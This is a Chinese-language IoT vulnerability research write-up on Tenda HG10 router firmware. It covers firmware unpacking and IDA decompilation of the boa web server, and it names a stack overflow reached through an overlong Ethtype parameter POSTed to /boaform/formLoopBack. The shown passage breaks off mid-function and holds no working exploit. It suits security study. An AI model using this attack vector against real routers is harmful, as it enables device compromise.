[TOC]
Tenda HG10 攻击者向 /boaform/formLoopBack 发送 POST 请求,传入超长的Ethtype表单参数;Boa 服务内部通过boaGetVar获取该参数后,调用sprintf不会检查目标缓冲区大小,只按照格式化字符串往缓冲区v7写入,未做长度校验,由此触发栈缓冲区溢出。
信息收集
Tenda HG10是中国腾达(Tenda)公司的一个光猫路由器。
固件文件: US_HG7_HG9_HG10re_300001138_en_xpon.tar
解压tar之后看到:

| 文件 |
大小 |
内容/作用 |
| fwu.sh |
5.4KB |
固件升级脚本(shell 脚本,控制刷机流程) |
| rootfs |
9.9MB |
根文件系统 |
| uImage |
3.4MB |
Linux 内核镜像(压缩后的内核) |
fwu_ver |
7B |
固件版本号 → v2.0.3 |
| hw_ver |
5B |
硬件版本 → skip(跳过校验) |
| md5.txt |
206B |
MD5 校验和(刷机前验证文件完整性) |
| check_version.txt |
24B |
版本检查 , TD_DUALBAND_XPON_TDE_ISP |
| VB_version.txt |
3B |
VB 版本 |
要的就是 rootfs 根系统文件。

直接binwalk不太行的,

这一行其实信息量很大:
- 整个文件从 0x0 开始就是一个 SquashFS 文件系统;
- 压缩方式 xz;
- 里面有 1353 个 inode(≈1353 个文件/目录)。
前边知道了是Squashfs filesystem的话,直接用这个Squashfs filesystem的解压方式去解包固件:
1
|
unsquashfs -d rootfs_extracted rootfs
|
那接下来就是漫长的代审了...
一般来说IOT漏洞出现在是Web服务、二进制缓冲区溢出、未授权、命令注入等的这些漏洞,像二进制漏洞就类似pwn题那样的话就是sbin、bin、usr/bin、usr/sbin等这些路径的二进制文件诸多一些。
Web后台的路径一般是/www、/web、/cgi‑bin、/cgi、/htdocs。
大致缩小一下代审范围。
先从Web外端服务入口进入,再到二进制底层查看程序执行逻辑(外部入口 → Web CGI → 调用底层二进制程序)。
1
2
3
4
5
6
7
8
9
10
11
|
外网/局域网访问 80/443 Web端口
↓
Web服务 (lighttpd / boa / thttpd)
↓
调用 CGI 脚本(.cgi / sh / lua)【第一层漏洞高发区】
↓
CGI 接收http参数,直接传给底层业务二进制
↓
/sbin /usr/sbin 二进制程序【第二层:溢出、命令拼接】
↓
system/popen/nvram_set 执行系统命令,最终root执行
|
boa 是对外的 Web 管理界面。
确认架构:
1
2
|
expl0rer@Legion-Ct:~/Desktop/IOT$ file rootfs_extracted/bin/boa
# 输出:rootfs_extracted/bin/boa: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), BuildID[sha1]=d471e811745cf21cd758f400bfc66acdd629ff3a, dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
|

关键信息:
- 架构:MIPS 32-bit 大端 (Big Endian)
- 动态链接 (uClibc)
- 已剥离符号表 (stripped)
- 无保护
逆向分析
代码审计①
这部分分析过程占大头,特别枯燥而且正反馈特别弱,就感觉和挖洞一点关系都没,似乎就在读文章一样,去理解开发者写的这段代码的意思和工作流程。
拖入IDA,找CTFpwn中的漏洞危险函数(比如strcpy/sprintf/system—):


从_start入口开始分析,跳转到ftext结构:

ftext结构体的C伪代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
|
int __fastcall ftext(int argc, const char **argv, const char **envp)
{
int pid; // $s3
int v6; // $v0
int v7; // $s0
int g_language_state_prev; // $s0
int n80; // $s0
int opt; // $v0
int v12; // $a0
int v13; // $s2
int v14; // $s1
int max_connections; // $v0
int v16; // $v0
int v17; // $s0
int *p_block_read_fdset; // $t8
int *p_block_write_fdset; // $t8
int v20; // $s1
int n2; // $t8
int v22; // $v0
int v23; // $s4
const char *p_echo_2____proc_lan_led_flag; // $a0
_DWORD *wlan_idx_2; // $t8
int *p_nds_2; // $a2
int *p_nds_4_old_1; // $a1
_DWORD *p_nds_3; // $v1
int v29; // $s4
int v30; // $v0
int v31; // $s6
const char *p_echo_0____proc_wlan0_led; // $a0
const char *p_echo_0____tmp_button_status; // $a0
const char *p_echo_1____proc_wlan0_led; // $a0
int v35; // $s4
int v36; // $v0
int v37; // $s7
int v38; // $v0
const char *ethctl_gpio_38; // $a0
int v40; // $v0
int wlan_idx; // $s7
int v42; // $s4
int v43; // $v0
int v44; // $s4
int v45; // $v0
int v46; // $s4
int v47; // $a0
int v48; // $v0
int v49; // $s4
int user_login_list_1; // $s4
_DWORD *errlogin_list_1; // $s4
int request_ready; // $t8
int server_s; // $t8
int server_s_1; // $a0
int *request_block; // $t8
int *p_req_timeout; // $t8
int server_s_2; // $a1
int server_s_3; // $a2
int n4_1; // $t8
BOOL v60; // $t8
int v61; // $v0
int n4; // $a0
void (__fastcall *p_puts)(const char *); // $t9
const char *p_presetflag.txt_NOT_exist; // $a0
int v65; // $a0
char v66[217]; // [sp+20h] [-2A0h] BYREF
bool p_nds_4; // [sp+F9h] [-1C7h]
_BYTE v68[64]; // [sp+208h] [-B8h] BYREF
_DWORD v69[16]; // [sp+248h] [-78h] BYREF
_DWORD v70[2]; // [sp+288h] [-38h] BYREF
__int16 v71; // [sp+290h] [-30h]
int n2_2; // [sp+294h] [-2Ch] BYREF
int n2_1; // [sp+298h] [-28h] BYREF
unsigned int n300; // [sp+29Ch] [-24h] BYREF
int v75; // [sp+2A0h] [-20h] BYREF
int n3; // [sp+2A4h] [-1Ch] BYREF
int user_login_list; // [sp+2A8h] [-18h]
_DWORD *errlogin_list; // [sp+2ACh] [-14h]
int *p_nds_4_old; // [sp+2B0h] [-10h]
int *p_nds_1; // [sp+2B4h] [-Ch]
int *p_nds; // [sp+2B8h] [-8h]
int wlan_idx_1; // [sp+2BCh] [-4h]
n300 = 0;
pthread_mutex_init(&mutex_lock_mesh, 0, envp);
pthread_create(&thrd1_wifirestart_mesh, 0, mesh_restart_wifi, 0);
boaASPInit(argc, argv);
pid = getpid();
::pid = pid;
v6 = fopen64("/var/run/boa.pid", "w");
v7 = v6;
if ( v6 )
{
fprintf(v6, "%d\n", pid);
fclose(v7);
}
openlog("boa", 1, 0);
v70[0] = 0;
v70[1] = 0;
v71 = 0;
g_language_state_prev = 0;
if ( !mib_get(285, v70) )
return fputs("mib get multi-lingual setting (boa) failed!\n", stderr);
while ( strcmp(v70, *(&off_51E014 + 2 * g_language_state_prev)) )
{
if ( ++g_language_state_prev == 3 )
{
fprintf(stderr, "Original [%s] is missing!! Switch to new default [%s].\n", (const char *)v70, "en");
::g_language_state_prev = 0;
g_language_state = 0;
goto LABEL_8;
}
}
::g_language_state_prev = g_language_state_prev;
g_language_state = g_language_state_prev;
LABEL_8:
strtbl = (int)off_51E304[(unsigned __int8)g_language_state];
n80 = 80;
while ( 1 )
{
opt = getopt(argc, argv, "p:vc:dns");
if ( opt == -1 )
break;
if ( opt == 110 )
{
do_sock = 0;
}
else if ( opt >= 111 )
{
if ( opt == 115 )
{
do_ssl = 0;
}
else if ( opt == 118 )
{
verbose_logs = 1;
}
else
{
v12 = 1;
if ( opt != 112 )
goto LABEL_65;
n80 = atoi(optarg);
}
}
else if ( opt == 99 )
{
server_root = strdup(optarg);
}
else
{
if ( opt != 100 )
{
v12 = 1;
goto LABEL_65;
}
do_fork = 0;
}
}
fixup_server_root();
v13 = fopen64("/var/boaSuper.passwd", "w+");
v14 = fopen64("/var/boaUser.passwd", "w+");
fclose(v13);
fclose(v14);
read_config_files();
init_fm_apply_thread();
if ( n80 != 80 )
set_server_port(n80);
create_common_env();
sched_reboot_init_thread();
if ( !do_ssl )
goto LABEL_31;
if ( InitSSLStuff() == 1 )
{
LABEL_32:
if ( do_sock )
{
::server_s = socket(10, 2, 6);
if ( ::server_s == -1 )
die(3);
if ( fcntl64(::server_s, 4, 128) == -1 )
die(4);
if ( fcntl64(::server_s, 2, 1) == -1 )
{
syslog(1, "%s, %i:Couldn't fcntl", "boa.c", 1357);
die(4);
}
if ( setsockopt(::server_s, 0xFFFF, 4, &sock_opt, 4) == -1 )
die(5);
server_sockaddr = 10;
memcpy(&unk_54E16C, &in6addr_any, 16);
server_port_0 = server_port;
if ( bind(::server_s, &server_sockaddr, 28) == -1 )
die(6);
max_connections = ::max_connections;
if ( ::max_connections != -1 )
{
if ( ::max_connections >= backlog )
max_connections = backlog;
backlog = max_connections;
}
if ( listen(::server_s, backlog) == -1 )
die(7);
if ( server_s_0 < ::server_s )
server_s_0 = ::server_s;
}
if ( init_captiveportal_socket() > 0 && server_s_0 < captiveportal_server_s )
server_s_0 = captiveportal_server_s;
g_max_upload_size = 31700000;
v16 = fopen64("/proc/mtd", "r");
v17 = v16;
if ( v16 )
{
fgets(v66, 256, v16);
do
{
if ( !fgets(v66, 256, v17) )
goto LABEL_62;
wlan_idx_1 = (int)v68;
if ( sscanf(v66, "%*s%s%*s%s", v69, v68) != 2 )
{
puts("Unsuported MTD partition format");
goto LABEL_62;
}
}
while ( strcmp(wlan_idx_1, "\"rootfs\"") );
g_max_upload_size = strtol(v69, 0, 16);
LABEL_62:
fclose(v17);
}
else
{
puts("/proc/mtd not exists.");
}
init_signals();
if ( fcntl64(::server_s, 2, 1) == -1 )
{
v12 = 0;
LABEL_65:
exit(v12);
}
chroot_aliases();
chroot_virtual_hosts();
auth_check();
server_gid = getgid();
server_uid = getuid();
writePasswdFile();
timestamp();
p_block_read_fdset = block_read_fdset;
block_read_fdset[0] = 0;
while ( ++p_block_read_fdset != &suStatus )
*p_block_read_fdset = 0;
p_block_write_fdset = &block_write_fdset;
block_write_fdset = 0;
while ( ++p_block_write_fdset != &status )
*p_block_write_fdset = 0;
dword_54E23C = 0;
status = 0;
dword_54E238 = 0;
snprintf(v66, 50, "echo %d > /proc/dos_syslog", ::pid);
system(v66);
signal(16, &DoS_syslog);
if ( is_defined(0) || is_defined(47) )
system("echo 0 > /tmp/button_status");
errlogin_list = 0;
user_login_list = 0;
v20 = 1;
while ( 1 )
{
n2_1 = -1;
if ( (!is_defined(0) || !is_defined(21)) && !is_defined(49) )
goto LABEL_105;
*(_DWORD *)v66 = 2;
n2 = 2;
if ( !start_flag )
{
v22 = fopen64("/proc/upgrade_status", "r");
v23 = v22;
if ( v22 )
{
fscanf(v22, "%u", v66);
fclose(v23);
}
n2 = *(_DWORD *)v66;
if ( *(_DWORD *)v66 != 1 )
break;
}
LABEL_103:
if ( n2 == 1 )
start_flag = 1;
LABEL_105:
v29 = 0;
if ( !sysinfo(v69) && v69[0] != dword_52B2E8 )
{
dword_52B2E8 = v69[0];
v29 = 1;
}
calltimeout();
if ( v29 )
{
if ( !is_defined(0) && !is_defined(47) )
{
LABEL_149:
wlan_idx = ::wlan_idx;
v40 = fopen64("/proc/wlan_onoff", "r+");
v42 = v40;
if ( v40 )
{
fscanf(v40, "%d", &n2_1);
if ( n2_1 == 1 )
{
::wlan_idx = 0;
wlan_idx_1 = 1;
wlan_getEntry(v66, 0);
p_nds_4 = !p_nds_4;
p_nds = (int *)p_nds_4;
wlan_setEntry(v66, 0);
::wlan_idx = wlan_idx_1;
wlan_getEntry(v66, 0);
p_nds_4 = (char)p_nds;
wlan_setEntry(v66, 0);
::wlan_idx = wlan_idx;
update_wps_configured(0);
if ( !mib_update(8, 0) )
puts("CS Flash error! ");
}
else if ( n2_1 != 2 )
{
goto LABEL_152;
}
config_WLAN(3);
v68[0] = 48;
fwrite(v68, 1, 1, v42);
LABEL_152:
fclose(v42);
}
if ( getInFlags(WLANIF[0], 0) || getInFlags(WLANIF[1], 0) )
{
v43 = fopen64("/proc/gpio", "r+");
v44 = v43;
if ( v43 )
{
fscanf(v43, "%d", v66);
if ( *(_DWORD *)v66 == 2 )
{
sync_wps_config_mib();
puts("wps wlan restart");
config_WLAN(3);
}
fclose(v44);
}
}
v45 = fopen64("/proc/load_default", "r");
v46 = v45;
if ( v45 )
{
v47 = v45;
if ( !v20 )
goto LABEL_157;
fscanf(v45, "%d", &n3);
if ( (n3 & 0xFFFFFFFD) == 1
&& (system("echo 2 > /proc/load_default"), puts("Going to Reload Default"), Production_test_results() == 1) )
{
if ( n3 != 3 )
{
system("rm /var/config/presetflag.txt");
p_puts = (void (__fastcall *)(const char *))&system;
p_presetflag.txt_NOT_exist = "rm /var/config/logoflag.txt";
goto LABEL_235;
}
v61 = access("/var/config/presetflag.txt", 0);
p_puts = (void (__fastcall *)(const char *))&puts;
if ( v61 )
{
p_presetflag.txt_NOT_exist = "presetflag.txt NOT exist";
LABEL_235:
p_puts(p_presetflag.txt_NOT_exist);
n4 = 4;
}
else
{
puts("presetflag.txt has exist");
n4 = 6;
}
v20 = 0;
reset_cs_to_default(n4);
reset_hs_to_default(0);
cmd_reboot();
}
else
{
v20 = 1;
}
v47 = v46;
LABEL_157:
fclose(v47);
}
v48 = fopen64("/proc/load_reboot", "r");
v49 = v48;
if ( v48 )
{
v65 = v48;
if ( v20 )
{
fscanf(v48, "%d", &v75);
v20 = 1;
if ( v75 == 1 )
{
v20 = 0;
puts("Going to Reboot");
cmd_reboot();
}
v65 = v49;
}
fclose(v65);
}
goto LABEL_159;
}
n2_2 = -1;
memset(v68, 0, sizeof(v68));
v30 = fopen64("/proc/led_key_node", "r+");
v31 = v30;
if ( !v30 )
{
puts("Can't open /proc/led_key_node \r");
goto LABEL_149;
}
fscanf(v30, "%d", &n2_2);
if ( n2_2 == 1 )
{
if ( is_defined(0) )
{
system("echo 0 > /proc/wlan0/led");
p_echo_0____proc_wlan0_led = "echo 0 > /proc/wlan1/led";
goto LABEL_119;
}
if ( is_defined(47) )
{
p_echo_0____proc_wlan0_led = "echo 0 > /proc/wlan0/led";
LABEL_119:
system(p_echo_0____proc_wlan0_led);
}
system("echo 1 > /tmp/button_status");
p_echo_0____tmp_button_status = "ethctl gpio 38 1";
LABEL_147:
system(p_echo_0____tmp_button_status);
LABEL_148:
system("echo 0 > /proc/led_key_node");
fclose(v31);
goto LABEL_149;
}
if ( n2_2 != 2 )
goto LABEL_148;
if ( is_defined(0) || is_defined(47) )
system("touch /tmp/wifi_status");
if ( is_defined(0) )
{
system("flash get WLAN_MBSSIB_TBL.0.wlanDisabled > /tmp/wifi_status");
get_wifi_current_status(v68);
if ( !strcasecmp(v68, "0") )
system("echo 1 > /proc/wlan0/led");
system("flash get WLAN1_MBSSIB_TBL.0.wlanDisabled > /tmp/wifi_status");
get_wifi_current_status(v68);
if ( !strcasecmp(v68, "0") )
{
p_echo_1____proc_wlan0_led = "echo 1 > /proc/wlan1/led";
goto LABEL_133;
}
}
else if ( is_defined(47) )
{
system("flash get WLAN_MBSSIB_TBL.0.wlanDisabled > /tmp/wifi_status");
get_wifi_current_status(v68);
if ( !strcasecmp(v68, "0") )
{
p_echo_1____proc_wlan0_led = "echo 1 > /proc/wlan0/led";
LABEL_133:
system(p_echo_1____proc_wlan0_led);
}
}
memset(v66, 0, 128);
v35 = fopen64("/tmp/voipstatus", "r");
if ( !v35 )
{
puts("file open failed");
goto LABEL_142;
}
memset(v66, 0, 128);
v36 = fread(v66, 1, 128, v35);
v37 = v36;
if ( v36 && (printf("read size=%d, buffer=%s\n", v36, v66), v37 < 0) )
{
fclose(v35);
LABEL_142:
v38 = -1;
}
else if ( strcmp(v66, "10000000") )
{
v38 = strcmp(v66, "31000000") == 0;
}
else
{
v38 = 1;
}
if ( v38 == 1 )
ethctl_gpio_38 = "ethctl gpio 38 0 ";
else
ethctl_gpio_38 = "ethctl gpio 38 1";
system(ethctl_gpio_38);
p_echo_0____tmp_button_status = "echo 0 > /tmp/button_status";
goto LABEL_147;
}
LABEL_159:
if ( !dword_52B2E4 )
syslog(6, "DSL Link up");
dword_52B2E4 = 1;
if ( !mib_get(380, &n300) )
{
puts("get auto logout time failed, use 300s as default!");
n300 = 300;
}
for ( user_login_list_1 = ::user_login_list; user_login_list_1; user_login_list_1 = *(_DWORD *)(user_login_list_1 + 4) )
{
if ( n300 < time_counter - *(_DWORD *)(user_login_list_1 + 12) )
ulist_free_login_entry(user_login_list, user_login_list_1);
user_login_list = user_login_list_1;
}
for ( errlogin_list_1 = (_DWORD *)::errlogin_list; errlogin_list_1; errlogin_list_1 = (_DWORD *)*errlogin_list_1 )
{
if ( time_counter - errlogin_list_1[2] >= 61 )
ulist_free_errlog_entry(errlogin_list, errlogin_list_1);
errlogin_list = errlogin_list_1;
}
if ( sighup_flag )
sighup_run();
if ( sigchld_flag )
sigchld_run();
if ( lame_duck_mode == 1 )
{
lame_duck_mode_run(::server_s);
request_ready = ::request_ready;
}
else
{
if ( lame_duck_mode != 2 )
goto LABEL_185;
request_ready = ::request_ready;
}
if ( !request_ready && !::request_block )
die(15);
LABEL_185:
fdset_update();
if ( ::request_ready )
goto LABEL_217;
server_s = ::server_s;
if ( ::server_s < captiveportal_server_s )
server_s = captiveportal_server_s;
if ( server_s < 0 )
server_s = 0;
block_read_fdset[(unsigned int)captiveportal_server_s >> 5] |= 1 << captiveportal_server_s;
server_s_0 = server_s;
if ( do_sock < 2 )
{
if ( server_s < server_ssl )
server_s = server_ssl;
server_s_0 = server_s;
}
server_s_1 = server_s_0;
request_block = (int *)::request_block;
while ( request_block )
{
server_s_2 = request_block[4];
if ( server_s_2 < *request_block )
server_s_2 = *request_block;
server_s_3 = request_block[40];
request_block = (int *)request_block[52];
if ( server_s_2 < server_s_3 )
server_s_2 = server_s_3;
if ( server_s_2 >= server_s_1 )
server_s_1 = server_s_2;
}
p_req_timeout = &req_timeout;
if ( !::request_block )
p_req_timeout = 0;
server_s_0 = server_s_1;
if ( select(server_s_1 + 1, block_read_fdset, &block_write_fdset, 0, p_req_timeout) == -1 )
{
n4_1 = *(_DWORD *)_errno_location();
if ( n4_1 != 4 && n4_1 != 9 )
die(11);
}
else
{
v60 = do_sock < 2;
if ( do_sock )
{
if ( ((block_read_fdset[(unsigned int)::server_s >> 5] >> ::server_s) & 1) != 0 )
get_request();
v60 = do_sock < 2;
}
if ( v60 && ((block_read_fdset[(unsigned int)server_ssl >> 5] >> server_ssl) & 1) != 0 )
get_ssl_request();
LABEL_217:
process_requests();
}
}
if ( get_lan_port_status() != 1 )
{
system("echo 0 > /proc/lan_led_flag");
goto LABEL_102;
}
get_net_device_stats("eth0.2", &nds_2);
get_net_device_stats("eth0.3", &nds_3);
if ( dword_52B1D4 == dword_52B230 && nds_2_old == nds_2 && dword_52B11C == dword_52B178 && nds_3_old == nds_3 )
{
if ( is_defined(49) )
{
get_net_device_stats("eth0.4", &nds_4);
get_net_device_stats("eth0.5", &nds_5);
if ( dword_52B064 == dword_52B0C0 && nds_4_old == nds_4 && dword_52AFAC == dword_52B008 && nds_5_old == nds_5 )
{
p_nds = &nds_5;
p_nds_4_old = &nds_4_old;
p_nds_1 = &nds_4;
wlan_idx_1 = (int)&nds_5_old;
system("echo 1 > /proc/lan_led_flag");
wlan_idx_2 = (_DWORD *)wlan_idx_1;
p_nds_2 = p_nds_1;
p_nds_4_old_1 = p_nds_4_old;
p_nds_3 = p_nds;
}
else
{
p_nds = &nds_5;
p_nds_4_old = &nds_4_old;
p_nds_1 = &nds_4;
wlan_idx_1 = (int)&nds_5_old;
system("echo 2 > /proc/lan_led_flag");
p_nds_3 = p_nds;
p_nds_4_old_1 = p_nds_4_old;
p_nds_2 = p_nds_1;
wlan_idx_2 = (_DWORD *)wlan_idx_1;
}
p_nds_4_old_1[1] = p_nds_2[1];
*p_nds_4_old_1 = *p_nds_2;
wlan_idx_2[1] = p_nds_3[1];
*wlan_idx_2 = *p_nds_3;
goto LABEL_100;
}
p_echo_2____proc_lan_led_flag = "echo 1 > /proc/lan_led_flag";
}
else
{
p_echo_2____proc_lan_led_flag = "echo 2 > /proc/lan_led_flag";
}
system(p_echo_2____proc_lan_led_flag);
LABEL_100:
dword_52B1D4 = dword_52B230;
nds_2_old = nds_2;
dword_52B11C = dword_52B178;
nds_3_old = nds_3;
LABEL_102:
n2 = *(_DWORD *)v66;
goto LABEL_103;
}
syslog(1, "Failure initialising SSL support - ");
if ( do_sock )
{
syslog(1, " supporting normal (unencrypted) sockets only");
fflush(0);
LABEL_31:
do_sock = 2;
goto LABEL_32;
}
syslog(1, " normal sockets disabled, so exiting");
fflush(0);
return 0;
}
|
这里稍微代码体量是比较大的,可以交给AI代审,我的建议是交给豆包(快速模式)通体浏览一下,虽说蠢,但是代审速度很快,不能细致审代码,审个大概是可以的,你按照给的大致分析去细化地交给比较先进的AI接mcp去审代码,这样比较审token速度也会快很多。
在前边查看保护机制发现是没开栈保护的,我习惯性地认为这可能存在缓冲区溢出漏洞,从这入手的话就需要找和外部输入有关的代码比如scanf/strcpy/read函数之类的,在设备中就是主循环(accept + 分发)。
豆包梭哈:

先定位到264行这里:

可惜这里不是,这只是处理路由器本地业务:按键、LED、wifi 状态、登录会话超时清理、mib 参数等。
继续梭哈:

在592行这里:

C伪代码翻译一下:
1
2
3
4
5
6
7
8
9
10
|
// 如果开启普通http socket服务
if (do_sock != 0)
{
// 如果监听socket有新连接到达
if (FD_ISSET(server_s, &block_read_fdset))
{
get_request(); // accept接收新连接 + 可能是read读http数据!
}
v60 = (do_sock < 2); //标记是否还要处理ssl套接字
}
|
找到的是 select 模型的请求分发点(不是简单 accept 循环,而是用 select() 监控 socket,就绪了就处理):
1
2
3
4
|
select() 监控 server_s 这个 socket
↓ 有数据可读
get_request() ← HTTP 请求处理
get_ssl_request() ← HTTPS 请求处理
|
双击进入get_request封装函数:

get_request()函数的作用是:接收一个新的 TCP 客户端连接,并创建/初始化一个 Boa 请求对象,然后把它放入待处理队列。
也就是说它不负责读取 HTTP 请求内容。
学过计算机网络应该知道,这就是开启接收信息的前置。
按照这个逻辑的话,那就应该往下继续走了,看到第598行代码:
1
2
|
if ( v60 && ((block_read_fdset[(unsigned int)server_ssl >> 5] >> server_ssl) & 1) != 0 )
get_ssl_request();
|
get_ssl_request()函数:accept 再加 SSL/TLS 握手;server_ssl(443 端口 https listen fd),上边第592行那的应该就是::server_s(80 端口 http listen fd)。
两者恰好就是分别对应HTTPS和HTTP的相关代码:
1
2
3
4
5
6
7
|
select返回,有socket事件
├─ if(do_sock) {
│ 如果80端口listen fd就绪 → get_request() // http新连接
│ v60 = do_sock < 2; // 计算是否允许处理ssl
│ }
├─ if(v60 && 443 listen fd就绪) → get_ssl_request() // https新连接
└─ process_requests() // http/https统一读取http数据、解析
|
两套是平行的新连接事件处理器,一套管明文 80,一套管加密 443。

进入process_requests函数分析:

其实到这里,凭自己直觉我感觉就能猜个大概了,全是和接收有关的字面意思:read、process_get的get、read_from_pipe的read_from。
到这里其实就和通信挂钩了,我也不太懂了,借助AI去解释一下并适当学习一下:
| 状态 |
回调函数 |
含义 |
| 0,1,2,3 |
read_header |
读取 HTTP 请求头、解析 GET/POST 行、headers |
| 4 |
read_body |
读取 POST 请求 Body 数据 |
| 5 |
write_body |
往客户端写响应 body |
| 6 |
process_get |
处理 GET 请求,读文件、执行 cgi/asp |
| 7 |
read_from_pipe |
从子进程管道读数据(cgi 脚本输出) |
| 8 |
write_from_pipe |
把管道数据写给浏览器 |
下一步跟进 read_header()函数,确认 HTTP 数据是怎样进入 request 结构的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
|
int __fastcall read_header(int a1)
{
int v2; // $s3
int v3; // $s6
int v4; // $a2
_BYTE *v5; // $s1
int v6; // $a0
int v7; // $v0
int n4; // $v0
int result; // $v0
_BYTE *v10; // $s0
int v11; // $s2
_BYTE *v12; // $s4
int v13; // $v0
int n2; // $v0
char n2_2; // $a0
int n13_1; // $a1
int n10_1; // $v0
bool v18; // dc
int n13; // $v0
int n10; // $a0
__int16 v21; // $v0
__int16 v22; // $v0
char n2_1; // $a0
__int16 v24; // $v0
unsigned int n0x20000000; // $v0
int v26; // $v0
int n13_2; // $a1
int v28; // $s1
int v29; // $a0
unsigned int g_filesize; // $a3
int v31; // $a0
unsigned int v32; // $v0
int v33; // $v1
unsigned int n0x1000; // $v0
v2 = 1;
v3 = *(_DWORD *)(a1 + 48);
while ( 2 )
{
if ( v3 )
{
v5 = (_BYTE *)(a1 + 1273);
*(_DWORD *)(a1 + 44) = v3;
*(_DWORD *)(a1 + 48) = 0;
}
else
{
v4 = *(_DWORD *)(a1 + 44);
v5 = (_BYTE *)(a1 + v4 + 1273);
if ( 4096 - v4 < 0 )
{
syslog(3, "buffer overrun in read_header1 - closing");
return 0;
}
v6 = *(_DWORD *)(a1 + 216);
if ( v6 )
v7 = SSL_read(v6, v5);
else
v7 = ((int (__fastcall *)(_DWORD, _BYTE *))read)(*(_DWORD *)a1, v5);
v3 = v7;
if ( v7 == -1 )
{
n4 = *(_DWORD *)_errno_location();
if ( n4 == 4 )
return 1;
if ( n4 == 11 )
return -1;
if ( n4 != 9 && n4 != 32 )
return 0;
*(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0xFC7F | 0x80;
return 0;
}
if ( !v7 )
return 0;
*(_DWORD *)(a1 + 44) += v7;
}
v10 = v5;
v11 = 0;
while ( 1 )
{
v12 = &v5[v3];
v13 = *(_DWORD *)(a1 + 8);
if ( v10 >= &v5[v3] )
break;
n2 = v13 >> 27;
n2_2 = 1;
n13_1 = n2 < 2;
if ( n2 == 1 )
{
v22 = *(_WORD *)(a1 + 8);
if ( *v10 == 10 )
{
n2_1 = 2;
goto LABEL_46;
}
goto LABEL_40;
}
if ( n2 >= 2 )
{
if ( n2 == 2 )
{
n13 = (char)*v10;
if ( n13 == 13 )
{
v22 = *(_WORD *)(a1 + 8);
n2_1 = 3;
goto LABEL_46;
}
n10 = 10;
LABEL_44:
v18 = n13 != n10;
v22 = *(_WORD *)(a1 + 8);
if ( !v18 )
{
n2_1 = 4;
LABEL_46:
v24 = v22 & 0x7FF | ((n2_1 & 0x1F) << 11);
LABEL_47:
*(_WORD *)(a1 + 8) = v24;
goto LABEL_48;
}
LABEL_40:
v24 = v22 & 0x7FF;
goto LABEL_47;
}
v18 = n2 != 3;
n13 = 10;
if ( !v18 )
{
n10 = (char)*v10;
goto LABEL_44;
}
}
else if ( !n2 )
{
n10_1 = (char)*v10;
n13_1 = 13;
if ( n10_1 == 13 )
{
v21 = *(_WORD *)(a1 + 8);
}
else
{
n2_2 = 2;
if ( n10_1 != 10 )
{
if ( v10 == v5 + 4095 )
{
